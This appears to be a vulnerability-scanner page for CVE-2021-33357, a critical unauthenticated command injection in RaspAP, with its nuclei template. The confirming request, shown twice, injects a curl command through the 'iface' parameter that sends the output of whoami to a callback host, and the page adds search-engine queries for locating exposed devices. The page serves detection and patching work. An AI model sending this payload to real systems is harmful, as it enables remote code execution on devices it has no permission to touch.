RaspAP <=2.6.5 - Remote Command Injection

criticalseverity

9.8CVSS score

17.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.

Fix

Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;
Positive when: contains in interactsh_protocol "http" AND contains "DHCPEnabled"

Run it with nuclei: nuclei -id CVE-2021-33357 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-33357

info:
  name: RaspAP <=2.6.5 - Remote Command Injection
  author: pikpikcu,pdteam
  severity: critical
  description: |
    RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.
  remediation: |
    Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
  reference:
    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
    - https://github.com/RaspAP/raspap-webgui
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33357
    cwe-id: CWE-78
    epss-score: 0.17446
    epss-percentile: 0.97151
    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: raspap
    product: raspap
    shodan-query: http.favicon.hash:-1465760059
    fofa-query: icon_hash=-1465760059
  tags: cve2021,cve,rce,raspap,oast,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "DHCPEnabled"

    extractors:
      - type: regex
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'
        part: interactsh_request

References

Use this check only on systems you are authorised to test. Where the data comes from